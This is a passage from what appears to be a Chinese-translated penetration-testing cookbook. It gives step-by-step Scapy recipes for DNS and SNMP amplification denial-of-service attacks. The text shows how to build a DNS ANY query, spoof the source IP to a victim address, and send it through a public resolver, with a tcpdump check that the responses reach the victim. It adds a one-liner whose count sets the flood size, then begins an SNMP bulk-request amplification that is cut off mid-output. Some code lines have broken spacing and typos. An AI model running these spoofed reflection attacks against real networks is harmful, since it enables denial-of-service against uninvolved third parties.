  qdcount= 1
  ancount= 0
  nscount= 0
  arcount= 0
  qd= None
  an= None
  ns= None  
  ar= None 

RD 位需要被激活; 這可以通過(guò)將rd值設(shè)置為 1 來(lái)實(shí)現(xiàn)。此外质蕉,需要為qdcount提供值0x0001; 這可以通過(guò)提供整數(shù)值 1 來(lái)完成势篡。通過(guò)再次調(diào)用display()函數(shù)翩肌,我們可以驗(yàn)證是否已經(jīng)調(diào)整了配置。 現(xiàn)在已經(jīng)構(gòu)建了 IP禁悠,UDP 和 DNS 層念祭,我們需要構(gòu)建一個(gè) DNS 問(wèn)題記錄以分配給qd值:

>>> q = DNSQR() 
>>> q.display() 
###[ DNS Question Record ]###  
    qname= '.'  
    qtype= A  
    qclass= IN 

為了構(gòu)建 DNS 問(wèn)題記錄,我們將使用與 IP碍侦,UDP 和 DNS 層相同的技術(shù)粱坤。 在提供的示例中,DNS 問(wèn)題記錄已賦給q變量瓷产。 如前所述站玄,可以通過(guò)調(diào)用display()函數(shù)來(lái)確定默認(rèn)配置。 在這里濒旦,我們可以看到有幾個(gè)值需要修改:

>>> q.qname = 'google.com' 
>>> q.qtype=255 
>>> q.display() 
###[ DNS Question Record ]###
  qname= 'google.com'
  qtype= ALL
  qclass= IN 

qname值需要設(shè)置為要查詢(xún)的域株旷。 另外,qtype需要通過(guò)傳遞一個(gè)整數(shù)值 255 來(lái)設(shè)置為ALL尔邓。通過(guò)再次調(diào)用display()函數(shù)晾剖,我們可以驗(yàn)證是否已經(jīng)調(diào)整了配置。 現(xiàn)在問(wèn)題記錄已經(jīng)配置完畢梯嗽,問(wèn)題記錄對(duì)象應(yīng)該賦給DNS qd值:

>>> d.qd = q 
>>> d.display() 
###[ DNS ]###  
id= 0  
qr= 0  
opcode= QUERY
aa= 0
  tc= 0
  rd= 1
  ra= 0
  z= 0
  rcode= ok
  qdcount= 1
  ancount= 0
  nscount= 0
  arcount= 0
  \qd\
   |###[ DNS Question Record ]###
   |
  qname= 'google.com'
   |
  qtype= ALL
   |
  qclass= IN
  an= None
  ns= None
  ar= None

我們可以通過(guò)調(diào)用display()函數(shù)來(lái)驗(yàn)證問(wèn)題記錄是否已賦給 DNS qd值齿尽。 現(xiàn)在已經(jīng)構(gòu)建了 IP,UDP 和 DNS 層灯节,并且已經(jīng)將相應(yīng)的問(wèn)題記錄賦給 DNS 層循头,我們可以通過(guò)堆疊這些層來(lái)構(gòu)造請(qǐng)求:

>>> request = (i/u/d) 
>>> request.display() 
###[ IP ]###
  version= 4
  ihl= None
  tos= 0x0
  len= None
  id= 1
  flags=
  frag= 0
  ttl= 64
  proto= udp
  chksum= None
  src= 172.16.36.180
  dst= 208.67.220.220
  \options\ 
###[ UDP ]###
   sport= domain
   dport= domain
   len= None
   chksum= None 
###[ DNS ]###
  id= 0
  qr= 0
  opcode= QUERY
  aa= 0
  tc= 0
  rd= 1
  ra= 0
  z= 0
  rcode= ok
  qdcount= 1
  ancount= 0
  nscount= 0
  arcount= 0  
  \qd\
   |###[ DNS Question Record ]###
   | qname= 'google.com'
   | qtype= ALL
   | qclass= IN
  an= None
  ns= None
  ar= None

可以通過(guò)使用斜杠分隔變量來(lái)堆疊 IP,UDP 和 DNS 層炎疆。 然后可以將這些層賦給表示整個(gè)請(qǐng)求的新變量卡骂。 然后可以調(diào)用display()函數(shù)來(lái)查看請(qǐng)求的配置。 在發(fā)送此請(qǐng)求之前磷雇,我們應(yīng)該以相同的顯示格式查看它偿警,因?yàn)槲覀冃枰榭错憫?yīng)。 這樣唯笙,我們可以更好地從視覺(jué)上理解請(qǐng)求和響應(yīng)之間發(fā)生的放大螟蒸。 這可以通過(guò)直接調(diào)用變量來(lái)完成:

>>> request 

<IP  frag=0 proto=udp dst=208.67.220.220 |<UDP  sport=domain |<DNS  rd=1 qdcount=1 qd=<DNSQR  qname='google.com' qtype=ALL |> |>>>

一旦建立了請(qǐng)求,它就可以被傳遞給發(fā)送和接收函數(shù)崩掘,以便我們可以分析響應(yīng)七嫌。 我們不會(huì)將它賦給一個(gè)變量,而是直接調(diào)用該函數(shù)苞慢,以便可以以相同的格式查看響應(yīng):

>>> sr1(request) 
Begin emission: 
....................Finished to send 1 packets. 
.............................* 
Received 50 packets, got 1 answers, remaining 0 packets 

<IP  version=4L ihl=5L tos=0x0 len=378 id=29706 flags= frag=0L ttl=128 proto=udp chksum=0x4750 src=208.67.220.220 dst=172.16.36.232 options=[] |<UDP  sport=domain dport=domain len=358 chksum=0xf360 |<DNS  id=0 qr=1L opcode=QUERY aa=0L tc=0L rd=1L ra=1L z=0L rcode=ok qdcount=1 ancount=17 nscount=0 arcount=0 qd=<DNSQR  qname='google.com.' qtype=ALL qclass=IN |> an=<DNSRR  rrname='google.com.' type=A rclass=IN ttl=188 rdata='74.125.228.103' |<DNSRR  rrname='google.com.' type=A rclass=IN ttl=188 rdata='74.125.228.102' |<DNSRR  rrname='google.com.' type=A rclass=IN ttl=188 rdata='74.125.228.98' |<DNSRR  rrname='google.com.' type=A rclass=IN ttl=188 rdata='74.125.228.96' |<DNSRR  rrname='google. com.' type=A rclass=IN ttl=188 rdata='74.125.228.99' |<DNSRR  rrname='google.com.' type=A rclass=IN ttl=188 rdata='74.125.228.110' |<DNSRR  rrname='google.com.' type=A rclass=IN ttl=188 rdata='74.125.228.100' |<DNSRR  rrname='google.com.' type=A rclass=IN ttl=188 rdata='74.125.228.97' |<DNSRR  rrname='google.com.' type=A rclass=IN ttl=188 rdata='74.125.228.104' |<DNSRR  rrname='google. com.' type=A rclass=IN ttl=188 rdata='74.125.228.105' |<DNSRR  rrname='google.com.' type=A rclass=IN ttl=188 rdata='74.125.228.101' |<DNSRR  rrname='google.com.' type=AAAA rclass=IN ttl=234 rdata='2607 :f8b0:4004:803::1002' |<DNSRR  rrname='google.com.' type=NS rclass=IN ttl=171376 rdata='ns2.google.com.' |<DNSRR  rrname='google.com.' type=NS rclass=IN ttl=171376 rdata='ns1.google.com.' |<DNSRR  rrname='google. com.' type=NS rclass=IN ttl=171376 rdata='ns3.google.com.' |<DNSRR  rrname='google.com.' type=NS rclass=IN ttl=171376 rdata='ns4.google.com.' |<DNSRR  rrname='google.com.' type=SOA rclass=IN ttl=595 rdata='\xc1\x06\ tdns-admin\xc0\x0c\x00\x17\xd0`\x00\x00\x1c \x00\x00\x07\x08\x00\x12u\ x00\x00\x00\x01,' |>>>>>>>>>>>>>>>>> ns=None ar=None |>>> 

該響應(yīng)確認(rèn)了我們已成功構(gòu)建所需的請(qǐng)求诵原,并且我們已請(qǐng)求了一個(gè)相當(dāng)大的有效內(nèi)容,其中包括google.com域的11個(gè)A記錄,1個(gè)AAAA記錄绍赛,4個(gè)NS記錄和1個(gè)SOA記錄蔓纠。 此練習(xí)清楚地表明,請(qǐng)求的響應(yīng)明顯大于請(qǐng)求本身吗蚌。 為了使這個(gè)放大攻擊有效腿倚,它需要通過(guò)偽造源 IP 地址重定向到我們的目標(biāo):

>>> i.src = "172.16.36.135" 
>>> i.display()
###[ IP ]###
  version= 4
  ihl= None
  tos= 0x0
  len= None
  id= 1
  flags=
  frag= 0
  ttl= 64
  proto= ip
  chksum= None
  src= 172.16.36.135
  dst= 208.67.220.220
  \options\ 
>>> request = (i/u/d) 
>>> request 
<IP  frag=0 proto=udp src=172.16.36.135 dst=208.67.220.220 |<UDP  sport=domain |<DNS  rd=1 qdcount=1 qd=<DNSQR  qname='google.com' qtype=ALL |> |>>>

將源 IP 地址值重新定義為目標(biāo)系統(tǒng)的 IP 地址的字符串后,我們可以使用display()函數(shù)確認(rèn)該值已調(diào)整蚯妇。 然后我們可以重建我們的更改后的請(qǐng)求敷燎。 為了驗(yàn)證我們是否能夠?qū)?DNS 查詢(xún)響應(yīng)重定向到此偽造主機(jī),我們可以在主機(jī)上啟動(dòng) TCPdump:

admin@ubuntu:~$ sudo tcpdump -i eth0 src 208.67.220.220 -vv 
[sudo] password for admin: 
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes 

在提供的示例中箩言,TCPdump 配置將捕獲eth0接口上硬贯,來(lái)自208.67.220.220源地址(查詢(xún)的DNS服務(wù)器的地址)的所有流量。 然后陨收,我們可以使用send()函數(shù)發(fā)送我們的請(qǐng)求:

>>> send(request) 
. 
Sent 1 packets. 
>>> send(request) 
. 
Sent 1 packets.

發(fā)送請(qǐng)求后饭豹,我們應(yīng)該返回到 TCPdump 的內(nèi)容,來(lái)驗(yàn)證 DNS 查詢(xún)的響應(yīng)是否返回給了受害服務(wù)器:

tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes 
19:07:12.926773 IP (tos 0x0, ttl 128, id 11341, offset 0, flags [none], proto UDP (17), length 350) resolver2.opendns.com.domain > 172.16.36.135. domain: [udp sum ok] 0 q: ANY? google.com. 16/0/0 google.com. A yyz08s13in-f4.1e100.net, google.com. A yyz08s13-in-f5.1e100.net, google. com. A yyz08s13-in-f14.1e100.net, google.com. A yyz08s13-in-f6.1e100. net, google.com. A yyz08s13-in-f2.1e100.net, google.com. A yyz08s13in-f0.1e100.net, google.com. A yyz08s13-in-f3.1e100.net, google.com. A yyz08s13-in-f1.1e100.net, google.com. A yyz08s13-in-f9.1e100.net, google. com. A yyz08s13-in-f7.1e100.net, google.com. A yyz08s13-in-f8.1e100.net, google.com. NS ns2.google.com., google.com. NS ns1.google.com., google. com. NS ns3.google.com., google.com. NS ns4.google.com., google.com. SOA ns1.google.com. dns-admin.google.com. 1545677 7200 1800 1209600 300 (322) 
19:07:15.448636 IP (tos 0x0, ttl 128, id 11359, offset 0, flags [none], proto UDP (17), length 350) resolver2.opendns.com.domain > 172.16.36.135. domain: [udp sum ok] 0 q: ANY? google.com. 16/0/0 google.com. A yyz08s13in-f14.1e100.net, google.com. A yyz08s13-in-f6.1e100.net, google.com. A yyz08s13-in-f2.1e100.net, google.com. A yyz08s13-in-f0.1e100.net, google. com. A yyz08s13-in-f3.1e100.net, google.com. A yyz08s13-in-f1.1e100. net, google.com. A yyz08s13-in-f9.1e100.net, google.com. A yyz08s13in-f7.1e100.net, google.com. A yyz08s13-in-f8.1e100.net, google.com. A yyz08s13-in-f4.1e100.net, google.com. A yyz08s13-in-f5.1e100.net, google. com. NS ns2.google.com., google.com. NS ns1.google.com., google.com. NS ns3.google.com., google.com. NS ns4.google.com., google.com. SOA ns1. google.com. dns-admin.google.com. 1545677 7200 1800 1209600 300 (322) 

這個(gè)執(zhí)行 DNS 放大的整個(gè)過(guò)程畏吓,實(shí)際上可以用 Scapy 中的單行命令來(lái)執(zhí)行墨状。 此命令使用所有與上一個(gè)練習(xí)中討論的相同的值卫漫。 然后可以修改count值以定義要發(fā)送到受害服務(wù)器的載荷響應(yīng)數(shù):

>>> send(IP(dst="208.67.220.220",src="172.16.36.135")/UDP()/DNS(rd=1,qdco unt=1,qd=DNSQR(qname="google.com",qtype=255)),verbose=1,count=2) 
.. 
Sent 2 packets.

工作原理

放大攻擊的原理是利用第三方設(shè)備菲饼,使網(wǎng)絡(luò)流量壓倒目標(biāo)。 對(duì)于多數(shù)放大攻擊列赎,必須滿(mǎn)足兩個(gè)條件:

  • 用于執(zhí)行攻擊的協(xié)議不驗(yàn)證請(qǐng)求源
  • 來(lái)自所使用的網(wǎng)絡(luò)功能的響應(yīng)應(yīng)該顯著大于用于請(qǐng)求它的請(qǐng)求宏悦。

DNS 放大攻擊的效率取決于 DNS 查詢(xún)的響應(yīng)大小。 另外包吝,可以通過(guò)使用多個(gè) DNS 服務(wù)器來(lái)增加攻擊的威力饼煞。

SNMP 放大 DoS 攻擊

SNMP 擴(kuò)展攻擊通過(guò)偽造具有大型響應(yīng)的查詢(xún),來(lái)利用團(tuán)體字符串可預(yù)測(cè)的 SNMP 設(shè)備诗越。 通過(guò)使用分布式 DDoS 組件砖瞧,以及通過(guò)同時(shí)向多個(gè) SNMP 設(shè)備發(fā)送請(qǐng)求,可以提高這種攻擊的效率嚷狞。

準(zhǔn)備

為了模擬 SNMP 放大攻擊块促,你需要有一個(gè)啟用 SNMP 的設(shè)備。 所提供的示例使用 Windows XP 設(shè)備床未。 有關(guān)設(shè)置 Windows 系統(tǒng)的更多信息竭翠,請(qǐng)參閱本書(shū)第一章中的“安裝 Windows Server”秘籍。 此外薇搁,此秘籍將 Ubuntu 用作掃描目標(biāo)斋扰。 有關(guān)設(shè)置 Ubuntu 的更多信息,請(qǐng)參閱本書(shū)第一章中的“安裝 Ubuntu Server”秘籍。

操作步驟

為了開(kāi)始传货,我們應(yīng)該初始化一個(gè) SNMP 查詢(xún)屎鳍,使其返回到我們的系統(tǒng),來(lái)評(píng)估要使用的載荷大小问裕。 為了發(fā)送我們的 SNMP 查詢(xún)請(qǐng)求哥艇,我們必須首先構(gòu)建此請(qǐng)求的層級(jí)。 我們需要構(gòu)建的第一層是 IP 層:

>>> i = IP() 
>>> i.display() 
###[ IP ]###
  version= 4
  ihl= None
  tos= 0x0
  len= None
  id= 1
  flags=
  frag= 0
  ttl= 64
  proto= ip
  chksum= None
  src= 127.0.0.1
  dst= 127.0.0.1
  \options\ 
>>> i.dst = "172.16.36.134" 
>>> i.display() 
###[ IP ]###
  version= 4
  ihl= None
  tos= 0x0
  len= None
  id= 1
  flags=
  frag= 0
  ttl= 64
  proto= ip
  chksum= None
  src= 172.16.36.224
  dst= 172.16.36.134
  \options\

要構(gòu)建我們的請(qǐng)求的 IP 層僻澎,我們應(yīng)該將 IP 對(duì)象賦給變量i貌踏。 通過(guò)調(diào)用display()函數(shù),我們可以確定該對(duì)象的屬性配置窟勃。 通常祖乳,發(fā)送和接收地址都設(shè)為回送地址127.0.0.1。 可以通過(guò)將i.dst設(shè)置為廣播地址的字符串值秉氧,來(lái)更改目標(biāo)地址并修改這些值眷昆。 通過(guò)再次調(diào)用display()函數(shù),我們可以看到汁咏,不僅更新了目的地址亚斋,而且Scapy也會(huì)自動(dòng)將源 IP 地址更新為與默認(rèn)接口相關(guān)的地址。 現(xiàn)在我們已經(jīng)構(gòu)建了請(qǐng)求的 IP 層攘滩,我們應(yīng)該繼續(xù)構(gòu)建 UDP 層:

>>> u = UDP() 
>>> u.display() 
###[ UDP ]###  
sport= domain
dport= domain  
len= None  
chksum= None

要構(gòu)建我們的請(qǐng)求的 UDP 層帅刊,我們將使用與IP層相同的技術(shù)。 在提供的示例中漂问,UDP 對(duì)象賦給了u變量赖瞒。 如前所述,可以通過(guò)調(diào)用display()函數(shù)來(lái)確定默認(rèn)配置蚤假。 在這里栏饮,我們可以看到源和目標(biāo)端口的默認(rèn)值都列為domain。 您可能能猜到磷仰,這表示與端口 53 相關(guān)的 DNS服 務(wù)袍嬉。你可能已經(jīng)猜到,它需要修改為 SNMP 相關(guān)的端口:

>>> u.dport = 161 
>>> u.sport = 161 
>>> u.display() 
###[ UDP ]###  
    sport= snmp  
    dport= snmp  
    len= None  
    chksum= None 

要將源端口和目標(biāo)端口更改為 SNMP灶平,應(yīng)將整數(shù)值 161 傳遞給它; 此值對(duì)應(yīng)于與服務(wù)關(guān)聯(lián)的 UDP 端口伺通。 這些更改可以通過(guò)再次調(diào)用display()函數(shù)來(lái)驗(yàn)證。 現(xiàn)在已經(jīng)構(gòu)建了 IP 和 UDP 層民逼,我們需要構(gòu)建 SNMP 層:

>>> snmp = SNMP() 
>>> snmp.display() 
###[ SNMP ]###
  version= v2c
  community= 'public'
  \PDU\
   |###[ SNMPget ]###
   | id= 0
   | error= no_error
   | error_index= 0
   |
  \varbindlist\

為了構(gòu)建我們的請(qǐng)求的 SNMP 層泵殴,我們將使用與 IP 和 UDP 層相同的技術(shù)。 在提供的示例中拼苍,SNMP 對(duì)象已賦給snmp變量笑诅。 如前所述调缨,可以通過(guò)調(diào)用display()函數(shù)來(lái)標(biāo)識(shí)默認(rèn)配置。 現(xiàn)在已經(jīng)構(gòu)建了 IP吆你,UDP 和 SNMP 層弦叶,我們需要構(gòu)建一個(gè)批量請(qǐng)求來(lái)替換默認(rèn)賦給 PDU 值的SNMPget請(qǐng)求:

>>> bulk = SNMPbulk() 
>>> bulk.display() 
###[ SNMPbulk ]###  
    id= 0  
    non_repeaters= 0  
    max_repetitions= 0  
    \varbindlist\ 

為了構(gòu)建 SNMP 批量請(qǐng)求,我們將使用與 IP妇多,UDP 和 SNMP 層相同的技術(shù)伤哺。 在提供的示例中,SNMP 批量請(qǐng)求已賦給了bulk變量者祖。 如前所述立莉,可以通過(guò)調(diào)用display()函數(shù)來(lái)確認(rèn)默認(rèn)配置。 在這里七问,我們可以看到有幾個(gè)值需要修改:

>>> bulk.max_repetitions = 50 
>>> bulk.varbindlist=[SNMPvarbind(oid=ASN1_OID('1.3.6.1.2.1.1')),SNMPvarb ind(oid=ASN1_OID('1.3.6.1.2.1.19.1.3'))] 
>>> bulk.display() 
###[ SNMPbulk ]###  
    id= 0  
    non_repeaters= 0  
    max_repetitions= 50  
    \varbindlist\   
    |###[ SNMPvarbind ]###   
    |  oid= <ASN1_OID['.1.3.6.1.2.1.1']>   
    |  value= <ASN1_NULL[0]>   
    |###[ SNMPvarbind ]###   
    |  oid= <ASN1_OID['.1.3.6.1.2.1.19.1.3']>   
    |  value= <ASN1_NULL[0]>

SNMP varbindlist需要修改來(lái)包含查詢(xún)的 OID 值蜓耻。 此外,max_repetitions賦了整數(shù)值為 50⌒笛玻現(xiàn)在批量請(qǐng)求已配置完畢刹淌,批量請(qǐng)求對(duì)象應(yīng)賦給SNMP PDU值:

>>> snmp.PDU = bulk 
>>> snmp.display() 
###[ SNMP ]###  
version= v2c  
community= 'public'
  \PDU\
   |###[ SNMPbulk ]###
   | id= 0
   | non_repeaters= 0
   | max_repetitions= 50
   | \varbindlist\
   |
   |###[ SNMPvarbind ]###
   |
   | oid= <ASN1_OID['.1.3.6.1.2.1.1']>
   |
   | value= <ASN1_NULL[0]>
   |
   |###[ SNMPvarbind ]###
   |
   | oid= <ASN1_OID['.1.3.6.1.2.1.19.1.3']>
   |
   | value= <ASN1_NULL[0]> 

我們可以通過(guò)調(diào)用display()函數(shù)來(lái)驗(yàn)證批量請(qǐng)求是否已賦給SNMP PDU值。 現(xiàn)在已經(jīng)構(gòu)建了 IP讥耗,UDP 和 SNMP 層有勾,并且批量請(qǐng)求已經(jīng)配置并賦給 SNMP 層,我們可以通過(guò)堆疊這些層來(lái)構(gòu)造請(qǐng)求:

>>> request = (i/u/snmp) 
>>> request.display() 
###[ IP ]###
  version= 4
  ihl= None
  tos= 0x0
  len= None
  id= 1
  flags=
  frag= 0
  ttl= 64
  proto= udp
  chksum= None
  src= 172.16.36.224
  dst= 172.16.36.134
  \options\ 
###[ UDP ]###
     sport= snmp   
     dport= snmp    
     len= None    
     chksum= None 
###[ SNMP ]###
        version= v2c     
        community= 'public'   
        \PDU\       
        |###[ SNMPbulk ]###   
        |  id= 0      
        |  non_repeaters= 0    
        |  max_repetitions= 50   
        |  \varbindlist\        
        | 
        |###[ SNMPvarbind ]###   
        |  
        |  oid= <ASN1_OID['.1.3.6.1.2.1.1']>   
        | 
        |  value= <ASN1_NULL[0]>   
        |  
        |###[ SNMPvarbind ]###   
        | 
        |  oid= <ASN1_OID['.1.3.6.1.2.1.19.1.3']>  
        |  
        |  value= <ASN1_NULL[0]>

可以通過(guò)使用斜杠分隔變量來(lái)堆疊 IP古程,UDP 和 SNMP 層蔼卡。 然后可以將這些層賦給表示整個(gè)請(qǐng)求的新變量。 然后可以調(diào)用display()函數(shù)來(lái)查看請(qǐng)求的配置籍琳。 一旦建立了請(qǐng)求菲宴,就可以將其傳遞給發(fā)送和接收函數(shù),以便我們可以分析響應(yīng):

>>> ans = sr1(request,verbose=1,timeout=5) 
Begin emission: 
Finished to send 1 packets.

Received 1 packets, got 1 answers, remaining 0 packets 
>>> ans.display()

###[ IP ]###
  version= 4L
  ihl= 5L
  tos= 0x0
  len= 1500
  id= 27527
  flags= MF
  frag= 0L
  ttl= 128
  proto= udp
  chksum= 0x803
  src= 172.16.36.134
  dst= 172.16.36.224
  \options\ 
###[ UDP ]###
   sport= snmp
   dport= snmp
   len= 2161
   chksum= 0xdcbf 
###[ Raw ]###
     load= '0\x82\x08e\x02\x01\x01\x04\x06public\xa2\x82\x08V\x02\ x01\x00\x02\x01\x00\x02\x01\x000\x82\x08I0\x81\x8b\x06\x08+\x06\x01\x02\ x01\x01\x01\x00\x04\x7fHardware: x86 Family 6 Model 58 Stepping 9 AT/AT COMPATIBLE - Software: Windows 2000 Version 5.1 (Build 2600 Uniprocessor Free)0\x10\x06\t+\x06\x01\x02\x01\x19\x01\x01\x00C\x03p\xff?0\x18\x06\ x08+\x06\x01\x02\x01\x01\x02\x00\x06\x0c+\x06\x01\x04\x01\x827\x01\x01\ x03\x01\x010\x15\x06\t+\x06\x01\x02\x01\x19\x01\x02\x00\x04\x08\x07\xde\ x02\x19\x08\r\x1d\x030\x0f\x06\x08+\x06\x01\x02\x01\x01\x03\x00C\x03o\ x8e\x8a0\x0e\x06\t+\x06\x01\x02\x01\x19\x01\x03\x00\x02\x01\x000\x0c\ x06\x08+\x06\x01\x02\x01\x01\x04\x00\x04\x000\r\x06\t+\x06\x01\x02\x01\ x19\x01\x04\x00\x04\x000\x1b\x06\x08+\x06\x01\x02\x01\x01\x05\x00\x04\ x0fDEMO-72E8F41CA40\x0e\x06\t+\x06\x01\x02\x01\x19\x01\x05\x00B\x01\x020\ x0c\x06\x08+\x06\x01\x02\x01\x01\x06\x00\x04\x000\x0e\x06\t+\x06\x01\ x02\x01\x19\x01\x06\x00B\x01/0\r\x06\x08+\x06\x01\x02\x01\x01\x07\x00\ x02\x01L0\x0e\x06\t+\x06\x01\x02\x01\x19\x01\x07\x00\x02\x01\x000\r\x06\ x08+\x06\x01\x02\x01\x02\x01\x00\x02\x01\x020\x10\x06\t+\x06\x01\x02\x01\ x19\x02\x02\x00\x02\x03\x1f\xfd\xf00\x0f\x06\n+\x06\x01\x02\x01\x02\x02\ x01\x01\x01\x02\x01\x010\x10\x06\x0b+\x06\x01\x02\x01\x19\x02\x03\x01\ x01\x01\x02\x01\x010\x0f\x06\n+\x06\x01\x02\x01\x02\x02\x01\x01\x02\x02\ x01\x020\x10\x06\x0b+\x06\x01\x02\x01\x19\x02\x03\x01\x01\x02\x02\x01\ x020(\x06\n+\x06\x01\x02\x01\x02\x02\x01\x02\x01\x04\x1aMS TCP Loopback interface\x000\x10\x06\x0b+\x06\x01\x02\x01\x19\x02\x03\x01\x01\x03\x02\x01\x030P\x06\n+\x06\x01\x02\x01\x02\x02\x01\x02\x02\x04BAMD PCNET Family PCI Ethernet Adapter - Packet Scheduler Miniport\x000\x10\x06\x0b+\x06\ x01\x02\x01\x19\x02\x03\x01\x01\x04\x02\x01\x040\x0f\x06\n+\x06\x01\x02\ x01\x02\x02\x01\x03\x01\x02\x01\x180\x10\x06\x0b+\x06\x01\x02\x01\x19\ x02\x03\x01\x01\x05\x02\x01\x050\x0f\x06\n+\x06\x01\x02\x01\x02\x02\x01\ x03\x02\x02\x01\x060\x18\x06\x0b+\x06\x01\x02\x01\x19\x02\x03\x01\x02\ x01\x06\t+\x06\x01\x02\x01\x19\x02\x01\x050\x10\x06\n+\x06\x01\x02\x01\ x02\x02\x01\x04\x01\x02\x02\x05\xf00\x18\x06\x0b+\x06\x01\x02\x01\x19\ x02\x03\x01\x02\x02\x06\t+\x06\x01\x02\x01\x19\x02\x01\x040\x10\x06\n+\ x06\x01\x02\x01\x02\x02\x01\x04\x02\x02\x02\x05\xdc0\x18\x06\x0b+\x06\ x01\x02\x01\x19\x02\x03\x01\x02\x03\x06\t+\x06\x01\x02\x01\x19\x02\x01\ x070\x12\x06\n+\x06\x01\x02\x01\x02\x02\x01\x05\x01B\x04\x00\x98\x96\ x800\x18\x06\x0b+\x06\x01\x02\x01\x19\x02\x03\x01\x02\x04\x06\t+\x06\ x01\x02\x01\x19\x02\x01\x030\x12\x06\n+\x06\x01\x02\x01\x02\x02\x01\x05\ x02B\x04;\x9a\xca\x000\x18\x06\x0b+\x06\x01\x02\x01\x19\x02\x03\x01\x02\ x05\x06\t+\x06\x01\x02\x01\x19\x02\x01\x020\x0e\x06\n+\x06\x01\x02\x01\ x02\x02\x01\x06\x01\x04\x000\x12\x06\x0b+\x06\x01\x02\x01\x19\x02\x03\ x01\x03\x01\x04\x03A:\\0\x14\x06\n+\x06\x01\x02\x01\x02\x02\x01\x06\x02\ x04\x06\x00\x0c)\x18\x11\xfb01\x06\x0b+\x06\x01\x02\x01\x19\x02\x03\x01\ x03\x02\x04"C:\\ Label:  Serial Number 5838200b0\x0f\x06\n+\x06\x01\x02\ x01\x02\x02\x01\x07\x01\x02\x01\x010\x12\x06\x0b+\x06\x01\x02\x01\x19\ x02\x03\x01\x03\x03\x04\x03D:\\0\x0f\x06\n+\x06\x01\x02\x01\x02\x02\x01\ x07\x02\x02\x01\x010\x1d\x06\x0b+\x06\x01\x02\x01\x19\x02\x03\x01\x03\ x04\x04\x0eVirtual Memory0\x0f\x06\n+\x06\x01\x02\x01\x02\x02\x01\x08\ x01\x02\x01\x010\x1e\x06\x0b+\x06\x01\x02\x01\x19\x02\x03\x01\x03\x05\ x04\x0fPhysical Memory0\x0f\x06\n+\x06\x01\x02\x01\x02\x02\x01\x08\x02\ x02\x01\x010\x10\x06\x0b+\x06\x01\x02\x01\x19\x02\x03\x01\x04\x01\x02\ x01\x000\x0f\x06\n+\x06\x01\x02\x01\x02\x02\x01\t\x01C\x01\x000\x11\x06\ x0b+\x06\x01\x02\x01\x19\x02\x03\x01\x04\x02\x02\x02\x10\x000\x11\x06\ n+\x06\x01\x02\x01\x02\x02\x01\t\x02C\x03m\xbb00\x10\x06\x0b+\x06\x01\ x02\x01\x19\x02\x03\x01\x04\x03\x02\x01\x000\x12\x06\n+\x06\x01\x02\x01\ x02\x02\x01\n\x01A\x04\x05\xcb\xd6M0\x12\x06\x0b+\x06\x01\x02\x01\x19\ x02\x03\x01\x04\x04\x02\x03\x01\x00\x000\x11\x06\n+\x06\x01\x02\x01\x02\ x02\x01\n\x02A\x03\x06\xb1\xa80\x12\x06\x0b+\x06\x01\x02\x01\x19\x02\x03\ x01\x04\x05\x02\x03\x01\x00\x000\x11\x06\n+\x06\x01\x02\x01\x02\x02\x01\ x0b\x01A\x03\rR\x920\x10\x06\x0b+\x06\x01\x02\x01\x19\x02\x03\x01\x05\ x01\x02\x01\x000\x10\x06\n+\x06\x01\x02\x01\x02\x02\x01\x0b\x02A\x02\x0c\ xfe0\x13\x06\x0b+\x06\x01\x02\x01\x19\x02\x03\x01\x05\x02\x02\x04\x00\ x9f\xf6a0\x0f\x06\n+\x06\x01\x02\x01\x02\x02\x01\x0c\x01A\x01\x000\x10\ x06\x0b+\x06\x01\x02\x01\x19\x02\x03\x01\x05\x03\x02\x01\x000' 

響應(yīng)確認(rèn)了我們已經(jīng)成功構(gòu)建了所需請(qǐng)求趋急,并且與最初生成的相對(duì)較小請(qǐng)求相比,已經(jīng)請(qǐng)求了相當(dāng)大的載荷势誊。 與之相似呜达,整個(gè)過(guò)程可以使用 Scapy 中的單個(gè)命令來(lái)執(zhí)行。 此命令使用所有與上一個(gè)練習(xí)中討論的相同的值:

>>> sr1(IP(dst="172.16.36.134")/UDP(sport=161,dport=161)/ SNMP(PDU=SNMPbulk(max_repetitions=50,varbindlist=[SNMPvarbind(oid=ASN1_OD('1.3.6.1.2.1.1')),SNMPvarbind(oid=ASN1_OID('1.3.6.1.2.1.19.1.3'))])),ve rbose=1,timeout=5)

Begin emission: Finished to send 1 packets.

<IP  version=4L ihl=5L tos=0x0 len=1500 id=14170 flags=MF frag=0L ttl=128 proto=udp chksum=0x3c30 src=172.16.36.134 dst=172.16.36.224 options=[] |<UDP  sport=snmp dport=snmp len=2162 chksum=0xd961 |<Raw  load='0\x82\ x08f\x02\x01\x01\x04\x06public\xa2\x82\x08W\x02\x01\x00\x02\x01\x00\ x02\x01\x000\x82\x08J0\x81\x8b\x06\x08+\x06\x01\x02\x01\x01\x01\x00\ x04\x7fHardware: x86 Family 6 Model 58 Stepping 9 AT/AT COMPATIBLE - Software: Windows 2000 Version 5.1 (Build 2600 Uniprocessor Free)0\x11\ x06\t+\x06\x01\x02\x01\x19\x01\x01\x00C\x04\x00\xa3i\xad0\x18\x06\x08+\ x06\x01\x02\x01\x01\x02\x00\x06\x0c+\x06\x01\x04\x01\x827\x01\x01\x03\ x01\x010\x15\x06\t+\x06\x01\x02\x01\x19\x01\x02\x00\x04\x08\x07\xde\x02\ x19\t\x08!\x010\x0f\x06\x08+\x06\x01\x02\x01\x01\x03\x00C\x03t\x99\x180\ x0e\x06\t+\x06\x01\x02\x01\x19\x01\x03\x00\x02\x01\x000\x0c\x06\x08+\ x06\x01\x02\x01\x01\x04\x00\x04\x000\r\x06\t+\x06\x01\x02\x01\x19\x01\ x04\x00\x04\x000\x1b\x06\x08+\x06\x01\x02\x01\x01\x05\x00\x04\x0fDEMO72E8F41CA40\x0e\x06\t+\x06\x01\x02\x01\x19\x01\x05\x00B\x01\x020\x0c\x06\ x08+\x06\x01\x02\x01\x01\x06\x00\x04\x000\x0e\x06\t+\x06\x01\x02\x01\ x19\x01\x06\x00B\x01/0\r\x06\x08+\x06\x01\x02\x01\x01\x07\x00\x02\x01L0\ x0e\x06\t+\x06\x01\x02\x01\x19\x01\x07\x00\x02\x01\x000\r\x06\x08+\x06\ x01\x02\x01\x02\x01\x00\x02\x01\x020\x10\x06\t+\x06\x01\x02\x01\x19\x02\ x02\x00\x02\x03\x1f\xfd\xf00\x0f\x06\n+\x06\x01\x02\x01\x02\x02\x01\x01\ 